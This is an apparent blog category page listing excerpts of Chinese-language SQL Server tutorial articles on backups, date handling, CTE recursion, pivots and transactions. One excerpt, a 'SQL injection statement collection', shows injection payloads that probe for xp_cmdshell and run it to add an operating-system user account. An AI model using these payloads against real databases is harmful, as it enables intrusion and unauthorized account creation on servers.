数据库
文章平均质量分 58
向东流
物流IT人。东方不亮西方亮!!!!!!
展开
-
经典SQL语句大全
一、基础1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sqlserver--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_转载 2014-04-30 15:50:02 · 514 阅读 · 0 评论 -
MSSQL生成连续日期的方法
DECLARE @sdate datetimeDECLARE @edate datetimeSET @sdate = '2014-1-1'SET @edate = '2014-12-31' --采用master..spt_values表,但是最大日期间隔不能超过2048SELECT Dateadd(DAY,NUMBER,@sdate)FROM原创 2014-07-17 09:21:22 · 620 阅读 · 0 评论 -
计算两个日期之间相差几年几月几日。
declare @s datetimeset @s='2013-9-11'selectcase when cast(datepart(mm,getdate()) as varchar)+right('00'+cast(datepart(dd,getdate()) as varchar),2)>=cast(datepart(mm,@s) as varchar)+right('00'+cas原创 2014-09-09 16:57:47 · 2000 阅读 · 0 评论 -
sql注入语句大全
sql注入语句大全--是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --用xp_cmdshell执行命令 ;exec master..xp_cmdshell "net user name password /add"转载 2014-09-18 09:40:06 · 1423 阅读 · 0 评论 -
CTE递归应用,树状结构,查询所有子部门、子部门数量、按层级显示部门名称
-- 建立演示环境CREATE TABLE Dept( id int PRIMARY KEY, parent_id int, name nvarchar(20))INSERT DeptSELECT 0, 0, N'' UNION ALLSELECT 1, 0, N'财务部' UNION ALLSELECT 2, 0, N'行政部' UNION ALLSELECT 3, 0, N转载 2014-07-31 11:58:32 · 1476 阅读 · 0 评论 -
T-SQL 查询语句的执行顺序解析
查询语句大家用的很多,但是知道语句执行的顺序和各各阶段的作用的人却很少。这里给大家简单介绍一下(5)SELECT (5-2) DISTINCT(5-3)TOP()(5-1) (1)FROM (1-J) JOIN on (2)WHERE (3)GROUP BY (4)HAVING (6)ORDER BY ; 每一步都会生成一个虚拟表,该虚拟表会作为下一步的输入转载 2014-07-31 13:41:45 · 578 阅读 · 0 评论 -
取每个分组的第一条记录
if object_id('tb') is not null drop table tbcreate table tb(gp int,seq int,va varchar(10))goinsert into tbselect 1,2,'网上'union all select 1,1,'门店'union all select 1,3,'超市'union all select 2,4,'原创 2014-07-30 15:01:35 · 1070 阅读 · 0 评论 -
从最小的开始,求下一个大于等于5的值,再从第求出的值开始,直至结束,求序列,CTE递归应用
测试数据WITH t1(num) AS (SELECT 1 UNION ALL SELECT 3 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION原创 2014-07-08 17:30:01 · 394 阅读 · 0 评论 -
SQL前后相减、累计求和、多行合并
前后相减with tb as(select 1 id,25 qtyunion all select 2,30union all select 3,67)select *,(select a.qty-b.qty from tb b where a.id=b.id+1) 差from tb a累计求和原创 2014-06-26 13:29:24 · 13594 阅读 · 0 评论 -
查询数据库MSSQL2005表主键,一行显示
with tb as(select pk_table=d.name,pk_name=b.name,pk_column=a.namefrom sys.columns a,sys.indexes b,sys.index_columns c,sys.tables dwhere b.is_primary_key=1and a.column_id=c.column_idand a.object_i原创 2014-06-28 18:45:37 · 507 阅读 · 0 评论 -
MSSQL 行转列
在SQL2000中,行转列一般都要用原创 2014-07-10 17:04:46 · 921 阅读 · 0 评论 -
SQL Server 日期相关
对于开发人员来说,日期处理或许简单,或许很难。结合自己过往的开发经验并整合网上的例子,总结出一些日期相关的操作,供自己备用及为大家分享: 一、日期类型:对于SQL Server 2008 来说(因为2000甚至2005已经稍微有被淘汰的迹象,所以在此不作过多说明,加上自己工作使用的是2008R2。所以不保证08以前的能用),日期类型有:数据类型格式转载 2014-07-17 08:55:09 · 467 阅读 · 0 评论 -
关于SQL的XACT_ABORT属性
XACT_ABORT原意是精确终止其实在SQL运行中很好理解默认XACT_ABORT=OFF的情况下,语句不管什么情况,遇到什么错误,反正错误了也继续执行,意思为错也不回头。在XACT_ABORT=ON的情况下,语句遇到一个错误就停止执行并回滚错误:关键是这个是事务联系起来,一个事务就是一个错误,所以事务内错了整个事务就回滚,就把一个事务当成一句语句好了。这个容易和存储过程搞,原创 2017-03-31 08:55:39 · 7493 阅读 · 0 评论